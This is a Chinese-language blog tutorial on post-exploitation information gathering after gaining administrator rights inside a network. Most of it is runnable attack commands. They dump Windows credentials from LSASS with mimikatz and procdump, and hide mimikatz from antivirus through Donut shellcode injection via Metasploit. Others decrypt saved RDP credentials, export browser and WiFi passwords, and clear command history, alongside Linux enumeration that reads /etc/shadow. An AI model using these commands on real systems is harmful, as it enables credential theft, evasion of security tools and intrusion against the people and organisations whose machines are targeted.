赞
踩
目录
在我们成功进入了内网渗透的阶段后,拿到了主机的管理员权限,接下来就是要收集内网中主机的各种信息,以便于我们进行后续的横向移动等扩大我们战果的操作。
在获取了Windows系统权限(通常是管理员权限)后,我们就需要尽可能多的收集这台机器上的各种信息,各种密码,各种敏感文件和资料了。如下是收集信息的一些命令:
在我们拿到了管理员的权限后,首先要做的就是获得Windows主机的登录密码。最主流的获取windows 密码的方法最主流的方法有三种,mimikatz 直接执行获取;procdump + mimikatz 进行获取;读取注册表进行获取 + mimikatz 解密进行获取。
使用这三种方式的前提是必须在管理员的权限下进行执行命令,不然执行会失败。
不过一般而言,直接上传mimikatz到主机上抓取密码一般都是不行的,毕竟各大杀毒软件厂商都把mimikatz盯得死死的,而且微软的Windows sever12之后就不再支持抓取明文密码了。所以一般的抓取密码方式肯定是行不通的。
所以我这边就列举一些能躲避杀毒软件的mimikatz的抓取密码的方式。
注意:运行前必须有管理员权限
在这些情况下我们无法获取明文密码
Windows2012以上版本默认关闭wdigest,攻击者无法从内存中获取明文密码
Windows2012以下版本如安装KB2871997补丁,同样也会导致无法获取明文密码
Windows系统LM Hash及NTLM Hash加密算法,个人系统在windows vista后,服务器系统在windows2003以后,认证方式均为NTLM Hash
此时可以进行注册表修改,这样就可以抓取明文密码了,不过实战环境中来说一般不太可能进行类似的操作。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
直接将mimikatz 上传到目标服务器,执行相关命令。
- mimikatz # privilege::debug
- Privilege '20' OK
- mimikatz # sekurlsa::logonpasswords
思路就是通过系统自带的procdump去下载存储用户名密码的文件,然后用mimikatz读取。
Procdump是一个轻量级的Sysinternal团队开发的命令行工具, 它的主要目的是监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因. 你还可以把它作为生成dump的工具使用在其他的脚本中.
Procdump是微软官方自带的软件,所以一般不会被系统查杀
Procdump工具导出 lsass.dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
注意:生成的文件的后缀,可能会产生lsass.dump.dmp的文件,注意将后缀删除
然后将lsass.dump文件上传到本地主机,利用mimikatz进行解密。
mimikatz读取 lsass.dmp中Hash和密码
mimikatz.exe "sekurlsa::minidump C:\lsass.dump" "sekurlsa::logonPasswords full" "exit"
Procdump下载地址:ProcDump - Sysinternals | Microsoft Learn
注:在virustotal.com上procdump.exe查杀率为0/72,不过这种读取lsass的行为早就被各大杀软拦截了,所以这种静态查杀没有太大参考价值。
说了这么多,总不能都是写漏洞百出的躲避杀软的方法吧,那么就给大家来点干货。
shellcode_inject.rb代码下载BypassAntiVirus/tools/mimikatz at master · TideSec/BypassAntiVirus · GitHub
1、首先使用Donut对需要执行的文件进行shellcode生成,这里对mimi进行shellcode生成,生成bin文件,等下会用到。
donut.exe -f mimikatz.exe -a 2 -o mimi.bin #生成mimi.bin文件
2、将上面的shellcode_inject.rb放入/opt/metasploit-framework/embedded/framework/modules/post/windows/manage下(实际路径可能不同,也就是metasploit-framework的上级路径,根据实际情况调整),然后进入msf,reload_all同时载入所有模块。(当然这一切都要在MSF获得了一个session会话后进行)。
kali里是在目录/usr/share/metasploit-framework/modules/post/windows/manage/
mac下是在/opt/metasploit-framework/embedded/framework/modules/post/windows/manage
使用之前载入的shellcode_inject注入模块,这里是获取session后的操作了,session先自己上线再进行以下操作。
- use post/windows/manage/shellcode_inject
- set session 1
- set shellcode /tmp/mini.bin
- run
最后成功加载了mimi,使用shellcode注入执行,有更强的隐蔽性。
注:这里只是写了关于躲避杀软方面的一小部分知识,更多躲避杀软的方式请关注BypassAntiVirus: 远控免杀系列文章及配套工具,汇总测试了互联网上的几十种免杀工具、113种白名单免杀方式、8种代码编译免杀、若干免杀实战技术,并对免杀效果进行了一一测试,为远控的免杀和杀软对抗免杀提供参考。
系列文章。
这里在提一个支持Windows,Linux,mac等环境抓取密码或者其它浏览器等密码的工具。GitHub - AlessandroZ/LaZagne: Credentials recovery project
不过被各大杀毒软件厂商盯得死死的,就请师傅们自己尝试免杀的方法吧
使用方法:
- laZagne.exe all #启用所有模块
- laZagne.exe browsers #启用browsers模块
- laZagne.exe all -w 1.txt #将导出的密码写入1.txt文件
当我们拿到了机器的管理员权限后,想获取其RDP的凭据。那么,该如何操作呢?
首先,执行以下命令查看目标机器是否存在RDP凭据
- cmdkey /list #查看mstsc的连接纪录
- dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* #查找本地的Credentials
存在的话,上传mimikatz,执行以下命令,记录 guidMasterKey 值
mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\19DC8328D3873E6AB8EF6B081B771D2E"
执行以下值,找到 guidMasterKey 值 对应的 MasterKey。上面的guidMasterKey在这里是GUID
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
执行以下命令,使用上面记录的MasterKey破解指定的凭据:19DC8328D3873E6AB8EF6B081B771D2E
mimikatz.exe "dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\19DC8328D3873E6AB8EF6B081B771D2E /masterkey:cf8ba397fe285a877997100a3b3fe3259821fe4cb7a47bd9dc8887296a4ff7914a2a3b04a5b8a96d4ce418937604e0a23799f990abb537a599130fce394eb114"
如图,破解出密码明文。
工具下载地址:Recover lost Windows 10/7/8/Vista/XP network passwords (Credentials file)
如果直接远程桌面登上去的话,可以使用 netpass.exe 工具直接查看
下载地址:https://github.com/peewpw/Invoke-WCMDump
执行以下代码
- Import-Module .\Invoke-WCMDump.ps1
- Invoke-WCMDump
也使用CS导入powershell脚本执行,但是会被报毒
注:文中部分内容转载自获取RDP登录凭据_谢公子的博客-CSDN博客
chrome浏览器默认的用户数据保存目录如下:
用户数据目录:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\
缓存目录:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Cache\
各文件如下:
书签:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
Cookie: C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Cookies
浏览历史:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\History
当前的session:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Current Session
账号密码:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Login Data
C:\Users\xx\AppData\Local\Google\Chrome\User Data\Profile\Login Data
QQ浏览器默认的用户数据保存目录如下:
用户数据目录:C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default
缓存目录:C:\Users\xx\AppData\Local\Google\Chrome\User Data\Default\Cache\
各文件如下:
书签:C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default\Bookmarks
Cookie: C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default\Cookies
浏览历史:C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default\History
当前的session:C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default\Current Session
账号密码:C:\Users\xx\AppData\Local\Tencent\QQBrowser\User Data\Default\Login Data
360安全浏览器
360浏览器默认的用户数据保存目录如下:
账号密码文件:C:\Users\xx\AppData\Roaming\360se6\User Data\Default\apps\LoginAssis\assis2.db
MSF模块中也有抓取浏览器账户密码的模块,当然是在获得了一个seesion会话的前提条件下,执行以下代码。
- use post/multi/gather/lastpass_creds
- set payload windows/meterpreter/reverse_tcp
- set lhost 0.0.0.0
- set session 1
- exploit
“Navicat”是一套可创建多个连接的数据库管理工具,用以方便管理 MySQL、Oracle、PostgreSQL、SQLite、SQL Server、MariaDB 和 MongoDB 等不同类型的数据库,它与阿里云、腾讯云、华为云、Amazon RDS、Amazon Aurora、Amazon Redshift、Microsoft Azure、Oracle Cloud 和 MongoDB Atlas等云数据库兼容。你可以创建、管理和维护数据库。Navicat 的功能足以满足专业开发人员的所有需求,但是对数据库服务器初学者来说又简单易操作。Navicat 的用户界面 (GUI) 设计良好,让你以安全且简单的方法创建、组织、访问和共享信息。
<table cellpadding="0" cellspacing="0"><tbody><tr><td style="vertical-align:top;"><p>MySQL</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>MariaDB</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>MongoDB</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>Microsoft SQL</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>Oracle</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>PostgreSQL</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name></p></td></tr><tr><td style="vertical-align:top;"><p>SQLite</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\<your connection name></p></td></tr></tbody></table>
SecureCRT 是一款用于连接运行包括Windows、UNIX和VMS的远程系统的理想工具,通过使用内含的VCP命令行程序可以进行加密文件的传输。
<table cellpadding="0" cellspacing="0"><tbody><tr><td style="vertical-align:top;"><p>xp/win2003</p></td><td style="vertical-align:top;"><p>C:\Documents and Settings\USERNAME\Application Data\VanDyke\Config\Sessions</p><p></p></td></tr><tr><td style="vertical-align:top;"><p>win7/win2008以上</p></td><td style="vertical-align:top;"><p>C:\Users\USERNAME\AppData\Roaming\VanDyke\Config\Sessions</p></td></tr></tbody></table>
Xshell 是一个强大的安全终端模拟软件,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 协议。Xshell 通过互联网到远程主机的安全连接以及它创新性的设计和特色帮助用户在复杂的网络环境中享受他们的工作。
<table cellpadding="0" cellspacing="0"><tbody><tr><td style="vertical-align:top;"><p>Xshell 5</p></td><td style="vertical-align:top;"><p>%userprofile%\Documents\NetSarang\Xshell\Sessions</p></td></tr><tr><td style="vertical-align:top;"><p>Xshell 6</p></td><td style="vertical-align:top;"><p>%userprofile%\Documents\NetSarang Computer\6\Xshell\Sessions</p></td></tr></tbody></table>
WinSCP是一个Windows环境下使用SSH的开源图形化SFTP客户端。同时支持SCP协议。它的主要功能就是在本地与远程计算机间安全的复制文件。.winscp也可以链接其他系统,比如linux系统。
<table cellpadding="0" cellspacing="0"><tbody><tr><td style="vertical-align:top;"><p>HKCU\Software\Martin Prikryl\WinSCP 2\Sessions</p></td></tr></tbody></table>
VNC (Virtual Network Console)是虚拟网络控制台的缩写。它 是一款优秀的远程控制工具软件,由著名的 AT&T 的欧洲研究实验室开发的。VNC 是在基于 UNIX 和 Linux 操作系统的免费的开源软件,远程控制能力强大,高效实用,其性能可以和 Windows 和 MAC 中的任何远程控制软件媲美。 在 Linux 中,VNC 包括以下四个命令:vncserver,vncviewer,vncpasswd,和 vncconnect。大多数情况下用户只需要其中的两个命令:vncserver 和 vncviewer。
<table cellpadding="0" cellspacing="0"><tbody><tr><td style="vertical-align:top;"><p>RealVNC</p></td><td style="vertical-align:top;"><p>HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver</p></td><td style="vertical-align:top;"><p>Password</p></td></tr><tr><td style="vertical-align:top;"><p>TightVNC</p></td><td style="vertical-align:top;"><p>HKEY_CURRENT_USER\Software\TightVNC\Server Value</p></td><td style="vertical-align:top;"><p>Password or PasswordViewOnly</p></td></tr><tr><td style="vertical-align:top;"><p>TigerVNC</p></td><td style="vertical-align:top;"><p>HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4</p></td><td style="vertical-align:top;"><p>Password</p><p></p></td></tr><tr><td style="vertical-align:top;"><p>UltraVNC</p></td><td style="vertical-align:top;"><p>C:\Program Files\UltraVNC\ultravnc.ini</p></td><td style="vertical-align:top;"><p>passwd or passwd2</p></td></tr></tbody></table>
mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit
也可以使用图形化命令工具 Dialupass.exe
- #查看帮助
- netsh wlan help
- #列出无线接口
- netsh wlan show interface
- #开启无线接口
- netsh interface set interface "Interface Name" enabled
- #显示连接过的WIFI的配置文件
- netsh wlan show profiles
- #连接指定wifi
- netsh wlan connect name=xxxx
- #断开连接
- netsh wlan disconnect
- #查看连接过的WIFI的配置文件(包含账号密码),需要管理员权限执行
- netsh wlan export profile interface=WLAN key=clear folder=C:\
- #然后使用type命令查看配置文件
- type C:\xxx.xml
- #批量显示wifi账号密码
- for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
- 其它常用的命令:
- 导出配置文件:netsh wlan export profile key=clear
- 删除配置文件:netsh wlan delete profile name=""
- 添加配置文件:netsh wlan add profile filename=""
一条命令导出电脑中所有WiFi账户密码,不需要管理员权限。
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear #cmd直接执行,不需要管理员权限
- IIS6:
- cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root
- IIS7、IIS8:
- 列出网站列表:appcmd.exe %systemroot%/system32/inetsrv/appcmd.exe list site
- 列出网站物理路径:appcmd.exe %systemroot%\system32\inetsrv\appcmd.exe list vdir
- 或者使用mimikatz读取IIS7配置文件:
- mimikatz.exe privilege::debug log "iis::apphost /in:"%systemroot%\system32\inetsrv\config\applicationHost.config" /live" exit
- /conf/tomcat-users.xml
- /conf/server.xml
- /conf/web.xml
/etc/httpd/conf/httpd.conf
/etc/nginx/nginx.conf
/www/wdlinux/wdcp/conf/mrpw.conf
- 系统
- systeminfo #查看系统信息
- net config workstation #简单查看系统信息
- systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #查看系统及版本,英文系统
- systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #查看系统及版本,中文系统
- echo %PROCESSOR_ARCHITECTURE% #查看系统架构,一般为AMD64
- set #查看系统环境变量
- wmic qfe get Caption,Description,HotFixID,InstalledOn #查看系统补丁信息
- wmic bios #查看bios信息
- nbtstat -A ip #netbios查询
- fsutil fsinfo drives #查看所有的盘符
- gpupdate /force #更新计算机策略
- 安装的软件版本信息
- wmic product get name,version #查看安装的软件及版本
- powershell "get-wmiobject -class Win32_product | select-Object -property name,version" #查看安装的软件及版本 1
- 网络
- ipconfig /all #查看ip详细信息
- ipconfig /displaydns #查看DNS缓存
- route print #查看路由
- arp -a #查看arp缓存表
- net view #查询机器列表
- type C:\Windows\System32\drivers\etc\hosts #查看hosts文件
- 用户账号密码
- whoami /all #查询当前用户权限等
- net user #只显示本机的用户,不显示域用户
- net user xie #查看用户xie的具体信息
- wmic useraccount get /ALL #查看本机用户详细信息
- net localgroup #查看组
- net localgroup administrators #显示本机的administrators管理员组。除了显示本机中用户,还会显示域用户(前提是该域用户在本机的Administrators组内)
- query user 或 quser #查询当前在线用户
- qwinsta #查询当前在线用户
- qwinsta /SERVER:IP #查看远程登录情况
- query session #查询会话
- query termserver #查询远程桌面主机列表
- net accounts #查看本地密码策略
- 端口
- netstat -ano #查看端口开放情况、
- netstat -ano|findstr 80 #查看80端口对应的PID
- 查看回收站内容
- SharpCheckInfo.exe -GetRecycle
- 服务
- net start #查询当前运行的服务
- wmic service list brief #查看服务name、进程ID、状态等
- 进程
- tasklist #查看进程列表
- tasklist /svc #查看进程,显示进程使用者名称
- tasklist | findstr 80 #查看80端口对应的进程
- taskkill /f /t /im xx.exe #杀死xx.exe进程
- taskkill /F -pid 520 #杀死pid为520的进程
- wmic process list brief #查看进程
- 共享
- net use #查看连接
- net share #查看共享
- wmic share get name,path,status #查看共享信息
- net session #查看会话
- net view \ip #查询指定IP共享
- 启动程序信息
- wmic startup get command,caption #查看启动项信息
- 计划任务
- schtasks /query /fo LIST /v #查看计划任务
- 开机时间
- net statistics workstation #查看机器开机时间
- 查询IE浏览器的代理信息
- reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
- 查询RDP端口号
- reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP" /V portNumber
- cmd和powershell的当前窗口历史命令(注,只限于powershellv3以下)
- Get-History | Format-List -Property * # 查询 powershell 当前窗口历史操作记录
- Clear-History # 删除 powershell 当前窗口历史操作记录
- Clear-History -Id 3 # 删除 powershell 当前窗口指定 ID 的历史操作记录
- doskey /h # 查看 cmd 的历史操作记录
- doskey /reinstall # 删除 cmd 的历史操作记录
- # powershell v3、v4 版本需要安装Get-PSReadlineOption
- msiexec /q /i PackageManagement_x64.msi
- # 查看 powershellv5 历史操作记录
- type %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
- hostname 或 uname -n #主机名
- history #查看命令历史,有可能可以查看到管理员的一些重要命令,包括密码等
- uname -a #所有版本
- uname -r #内核版本信息
- uname -m #Linux内核架构
- cat /proc/version #内核信息
- cat /proc/cpuinfo #CPU信息
- cat /etc/*-release #发布信息
- cat /etc/issue #发布信息
- #用户和组信息
- whoami #查看当前用户身份
- who #查看当前登录系统的所有用户
- w #显示已经登陆系统的用户列表,并显示用户正在执行的指令
- users #显示当前登录系统的所有用户的用户列表
- id #当前用户信息
- id || (whoami && groups) 2>/dev/null #当前用户信息
- cat /etc/passwd | cut -d: -f1 #查看所有的用户名
- cat /etc/passwd | grep "sh$" #查看拥有bash的用户
- awk '/\$1|\$6/{print $1}' /etc/shadow #查看可以远程登录的用户
- cat /etc/shadow #查看密码
- cat /etc/group #查看组信息
- last #查看登录历史
- more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" #查看拥有sudo权限的用户
- sudo -l #列出目前用户可执行与无法执行的指令
- awk -F: '$3==0{print $1}' /etc/passwd #查看超级用户(uid=0),有些黑客将普通用户的uid改为0,则该普通用户也拥有了超级权限
- #登录信息
- last #查看最近登录成功的用户及信息,查看的是 /var/log/wtmp 文件
- lastb #查看最近登录失败的用户及信息,查看的是 /var/log/btmp 文件
- lastlog #显示系统中所有用户最近一次登录信息,读取的是 /var/log/lastlog 文件
- cat /var/log/secure* | grep Accepted #查看登录成功的记录
- cat /var/log/secure* | grep Failed #查看登录失败的记录
- grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' #查看登录成功的日期、用户名及ip
- grep "Failed password for root" /var/log/secure | awk '{print $11}' #查看有哪些ip在爆破主机的root账号
- grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr #查看爆破用户名字典
- #网络信息
- ifconfig
- arp -a
- cat /etc/network/interfaces #查看网络接口信息
- route #查看路由信息
- traceroute baidu.com #查看路由节点
- cat /etc/hosts #查看hosts文件
- cat /etc/resolv.conf #查看dns信息
- cat /etc/services #查看端口服务映射
- #服务、端口和进程信息
- ps aux / ps -ef #静态查看进程
- pstree #查看进程树
- top #动态查看进程
- ps aux --sort -pcpu #静态查看进程,根据cpu使用情况排行,从高到低
- ps aux --sort -pmem #静态查看进程,根据内存使用情况排行,从高到低
- netstat -pantu #查看端口信息
- netstat -pantu | grep 18176 #查看端口连接情况,过滤含有18176端口的行,就可以查看连接的端口
- cat /etc/inetd.conf #由inetd管理的服务列表
- cat /etc/xinetd.conf #由xinetd管理的服务列表
- cat /etc/exports #nfs服务器的配置
- cat /etc/services #查看端口服务映射
- ls -l /proc/18176/exe #查看PID为18176的进程的可执行程序
- lsof -p 18176 #查看PID为18176的进程打开的文件
- lsof -c sshd #查看进程sshd打开的文件
- lsof -i:33946 #查看33946端口对应的一些进程
- ps -p PID -o lstart #查看进程的启动时间点
- fuser -n tcp 33946 #查看33946端口对应的进程PID
- #环境信息
- env #打印系统环境信息
- set #打印系统环境信息
- echo $PATH #环境变量中的路径信息
- history #历史命令
- cat /etc/profile #显示默认系统遍历
- cat /etc/shells #显示可用的shell
内核,操作系统和设备信息
- uname -a 打印所有可用的系统信息
- uname -r 内核版本
- uname -n 系统主机名。
- uname -m 查看系统内核架构(64位/32位)
- hostname 系统主机名
- lsb_release -a 发行版信息
- cat /proc/version 内核信息
- cat /etc/*-release 发行版信息
- cat /etc/issue 发行版信息
- cat /proc/cpuinfo CPU信息
用户和群组
- cat /etc/passwd 列出系统上的所有用户
- cat /etc/shadow 查看用户Hash
- cat /etc/group 列出系统上的所有组
- groups 当前用户所在的组
- groups test test用户所在的组
- getent group xxx xxx组里的用户
-
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
- awk -F: 'length($2)==0 {print $1}' /etc/shadow #查看是否存在空口令用户
- awk '/\$1|\$6/{print $1}' /etc/shadow #查看远程登录的账号
-
- whoami 查看当前用户
- w 谁目前已登录,他们正在做什么
- who 命令用于显示系统中有哪些使用者正在上面
- last 最后登录用户的列表
- lastlog 所有用户上次登录的信息
- lastlog –u %username% 有关指定用户上次登录的信息
用户和权限信息
- whoami 当前用户名
- id 当前用户信息
- cat /etc/sudoers 可以使用sudo提升到root的用户
- sudo -l 查看那些用户当前可以以root身份执行的操作
环境信息
- env 显示所有的环境变量
- set 显示本地环境变量
- echo $PATH 环境变量中的路径信息
- export [-fnp][变量名称]=[变量设置值] 显示和设置环境变量
- pwd 输出工作目录
- cat /etc/profile 显示默认系统变量
- cat /etc/shells 显示可用的shell
- ls -la /etc/*.conf 查看etc下所有配置文件
历史命令
- history
- cat ~/.bash_history
-
- # 查看其他用户的历史命令文件
- cat /home/user/.bash_history
常见配置文件路径:
- /apache/apache/conf/httpd.conf
- /apache/apache2/conf/httpd.conf
- /apache/php/php.ini
- /bin/php.ini
- /etc/apache/apache.conf
- /etc/apache/httpd.conf
- /etc/apache2/apache.conf
- /etc/apache2/httpd.conf
- /etc/apache2/sites-available/default
- /etc/apache2/vhosts.d/00_default_vhost.conf
- /etc/httpd/conf.d/httpd.conf
- /etc/httpd/conf.d/php.conf
- /etc/httpd/conf/httpd.conf
- /etc/httpd/php.ini
- /etc/init.d/httpd
- /etc/php.ini
- /etc/php/apache/php.ini
- /etc/php/apache2/php.ini
- /etc/php/cgi/php.ini
- /etc/php/php.ini
- /etc/php/php4/php.ini
- /etc/php4.4/fcgi/php.ini
- /etc/php4/apache/php.ini
- /etc/php4/apache2/php.ini
- /etc/php4/cgi/php.ini
- /etc/php5/apache/php.ini
- /etc/php5/apache2/php.ini
- /etc/php5/cgi/php.ini
- /etc/phpmyadmin/config.inc.php
- /home/apache/conf/httpd.conf
- /home/apache2/conf/httpd.conf
- /home/bin/stable/apache/php.ini
- /home2/bin/stable/apache/php.ini
- /NetServer/bin/stable/apache/php.ini
- /opt/www/conf/httpd.conf
- /opt/xampp/etc/php.ini
- /PHP/php.ini
- /php/php.ini
- /php4/php.ini
- /php5/php.ini
- /usr/lib/php.ini
- /etc/nginx/nginx.conf
- /usr/lib/php/php.ini
- /usr/local/apache/conf/httpd.conf
- /usr/local/apache/conf/php.ini
- /usr/local/apache2/conf/httpd.conf
- /usr/local/apache2/conf/php.ini
- /usr/local/etc/php.ini
- /usr/local/httpd/conf/httpd.conf
- /usr/local/lib/php.ini
- /usr/local/php/lib/php.ini
- /usr/local/php4/lib/php.ini
- /usr/local/php4/lib/php.ini
- /usr/local/php4/php.ini
- /usr/local/php5/etc/php.ini
- /usr/local/php5/lib/php.ini
- /usr/local/php5/php5.ini
- /usr/local/share/examples/php/php.ini
- /usr/local/share/examples/php4/php.ini
- /usr/local/Zend/etc/php.ini
- /var/apache2/config.inc
- /var/httpd/conf/httpd.conf
- /var/httpd/conf/php.ini
- /var/httpd/conf/php.ini
- /var/local/www/conf/httpd.conf
- /var/local/www/conf/php.ini
- /var/www/conf/httpd.conf
- /web/conf/php.ini
- /www/conf/httpd.conf
- /www/php/php.ini
- /www/php4/php.ini
- /www/php5/php.ini
- /xampp/apache/bin/php.ini
- /xampp/apache/conf/httpd.conf
- /etc/init.d/mysql
- /etc/my.cnf
- /etc/mysql/my.cnf
- /etc/mysql/my.cnf
- /var/lib/mysql/my.cnf
- /var/lib/mysql/mysql/user.MYD
- /usr/local/mysql/bin/mysql
- /usr/local/mysql/my.cnf
- /usr/share/mysql/my.cnf
说到信息收集,自然是离不开信息收集的脚本了,关于在Linux上执行信息收集的脚本有很多。我这里就列举几个著名的。
GitHub链接:PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub
它是由Carlos P创建的,目的是列举在Linux系统上提升特权的所有可能方法。关于LinPEAS的比较好的一点是它不需要其它依赖项。这使它能够运行现有二进制文件支持的任何内容。
LinPEAS支持Debian,CentOS,FreeBSD和OpenBSD。
LinPEAS不会将任何内容直接写入磁盘,并且在默认情况下运行时,它不会尝试通过su命令以其他用户身份登录。LinPEAS执行花费的时间从2分钟到10分钟不等,具体取决于请求的检查次数。
如果要在CTF比赛中运行LinPEAS,请尽量使用-a参数,它将激活所有检查。LinPEAS监视进程以查找非常频繁的cron任务,但是要执行此操作,您将需要添加-a参数,并且此检查将在文件中写入一些信息,该信息稍后将被删除,这使得我们执行完它不会留下痕迹。
- -s(超快和隐身):这将绕过一些耗时的检查,并且不会留下任何痕迹。
-
- -P(密码):传递将与sudo -l和Bruteforcing其他用户一起使用的密码
-
- -h帮助
-
- -o仅执行选定的检查
-
- -d <IP/NETMASK>使用fping或ping查找主机
-
- ip <端口> -d <IP/NETMASK>使用nc查找正在寻找TCP开放端口的主机
它在执行期间导出并取消设置一些环境变量,因此在会话期间执行的任何命令都不会保存在历史记录文件中,如果您不想使用此功能,只需在利用它时添加-n参数即可。
更多方面自己测试,这里就不多说了。
GitHub链接:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
它是由Rebootuser创建的。LinEnum是一个Shell脚本,其工作原理是从目标计算机中提取有关提升特权的信息。它支持实验报告功能,可以帮助以可读的报告格式导出扫描结果。一些参数,例如:
- -k 输入关键字
-
- -e 输入导出位置
-
- -t 包括详尽的测试
-
- -s 提供当前用户密码以检查sudo权限(不安全)
-
- -r 输入报告名称
-
- -h 显示帮助文本
渗透过程中只要将脚本文件上传到目标主机上运行即可。
执行以下代码运行。
./LinEnum.sh
GitHub链接:https://github.com/redcode-labs/Bashark
它是由RedCode Labs创建的。Bashark旨在帮助渗透测试人员和安全研究人员在Linux,OSX或Solaris Server的安全评估的后开发阶段。
Bashark比较好的一点是它一个bash脚本,这意味着它可以直接从终端运行而无需任何安装。它速度快,不会使目标计算机过载。它也不需要任何特定依赖项,由于它在执行后抹去了它的存在,因此执行后很难被检测到。在这里,我们使用wget命令下载了Bashark,该命令在攻击者计算机上本地托管。然后使用chmod提供执行权限,然后运行Bashark脚本。它将升级您的Shell,使其能够执行不同的命令。
渗透过程中只要将脚本文件上传到目标主机上运行即可。
执行以下代码运行。
./bashark.sh
在这里,我们使用getperm -c命令查找。Bashark还使用getconf命令枚举了所有常见的配置文件路径。
除了以上一些功能,输入help命令,可以根据个人需求进一步利用。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。